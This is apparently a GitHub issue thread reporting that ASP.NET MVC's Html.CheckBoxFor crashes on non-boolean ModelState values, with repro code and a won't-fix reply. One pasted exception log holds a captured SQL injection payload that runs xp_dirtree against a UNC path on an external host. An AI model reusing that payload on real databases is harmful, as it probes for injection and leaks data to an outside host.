Bug: Html.CheckBoxFor() throws exception if ModelState contains non-convertable value

[mwhouser]

MVC Version: 5.2.7 .NET Framework Version: 4.7.2 Visual Studio Version: (2017) 15.9.6

Symptoms

Html.CheckBoxFor(m => m.BoolValue) will throw an exception if ModelState["BoolValue"] contains a value that cannot be converted to true/false or checked/unchecked:

[System.FormatException: String was not recognized as a valid Boolean.]
at System.Boolean.Parse(String value)
at System.ComponentModel.BooleanConverter.ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, Object value)

[System.FormatException: syscolumns WHERE 2>3;exec('xp_dirtree ''\\ba67mio7j7cukmbcupous-oxhifudofa9jczumuw'+'myk.r87.me'+'\c$\a''')-- is not a valid value for Boolean.]
at System.ComponentModel.BooleanConverter.ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, Object value)
at System.Web.Mvc.ValueProviderResult.ConvertSimpleType(CultureInfo culture, Object value, Type destinationType)

[System.InvalidOperationException: The parameter conversion from type 'System.String' to type 'System.Boolean' failed. See the inner exception for more information.]
at System.Web.Mvc.ValueProviderResult.ConvertSimpleType(CultureInfo culture, Object value, Type destinationType)
at System.Web.Mvc.HtmlHelper.GetModelStateValue(String key, Type destinationType)
at System.Web.Mvc.Html.InputExtensions.InputHelper(HtmlHelper htmlHelper, InputType inputType, ModelMetadata metadata, String name, Object value, Boolean useViewData, Boolean isChecked, Boolean setId, Boolean isExplicitValue, String format, IDictionary`2 htmlAttributes)
at System.Web.Mvc.Html.InputExtensions.CheckBoxHelper(HtmlHelper htmlHelper, ModelMetadata metadata, String name, Nullable`1 isChecked, IDictionary`2 htmlAttributes)
at System.Web.Mvc.Html.InputExtensions.CheckBoxFor[TModel](HtmlHelper`1 htmlHelper, Expression`1 expression, IDictionary`2 htmlAttributes)

I am getting this exception during spam attacks in my logs.

Steps to Reproduce

Model:

public class MyModel
{
  public bool IsRememberMe { get; set; }
}

Controller:

[HtmlPost]
public ActionResult MyAction(MyModel model)
{
  if (ModelState.IsValid)
  {
    // Do work
    return Redirect(...);
  }

  return View(model);
}

In my view (.cshtml)

@Html.CheckBoxFor(m => m.IsRememberMe)

Use PostMan or curl to send a POST to the action, sending IsRememberMe with value of 555.

The problem will happen when the model failed to validate and the view is being rendered for the user to correct the issues (theoretically). However, in this case, the ModelState has bad data and the view crashes.

Expected Behaviour

At the very least, don't crash taking the whole view with it.

Ideally, if the value in ModelState cannot be converted, then catch the exception and use the value in the model instead.

[dougbu]

@mwhouser I agree it's possible to force an error here. However, what is the impact of the Exception beyond returning an error page to the spammer? (I don't see how actual users could hit this case when using a generated <form>.)

[mwhouser]

Hi @dougbu

I completely agree that under normal circumstances, this shouldn't be an issue.

The problem is that it doesn't just return an error page to the spammer. Instead, it triggers an unhandled exception.

And when you log all unhandled exceptions (as I am), the logs fill up with the spam.

And when you pay by the MB for your logging service and/or have a daily logging cap, that spam can have a significant impact.

Also, when you have PagerDuty triggered by significant volume of logs being injested, you get alerted at 3am.

There are some alternative mitigation methods:

1. Turn off exception logging application wide.
2. Try to special case this exception at the point of logging (so it's not logged). The problem is that there's nothing unique about the exception that's thrown to differentiate it from others that I would want logged.
3. Remove the value from ModelState in the controller before the view is rendered. This happens "blind" so the benefits of using the ModelState value are lost even in valid cases.
4. ??

Options 1 & 2 won't work for me. Using 3 as a solution is basically working against the framework, and must be implemented on every action that includes a bool in the model.

[mkArtakMSFT]

Thanks for contacting us, @mwhouser. Given the available workarounds we're not planning to fix this as this issue doesn't impact many customers.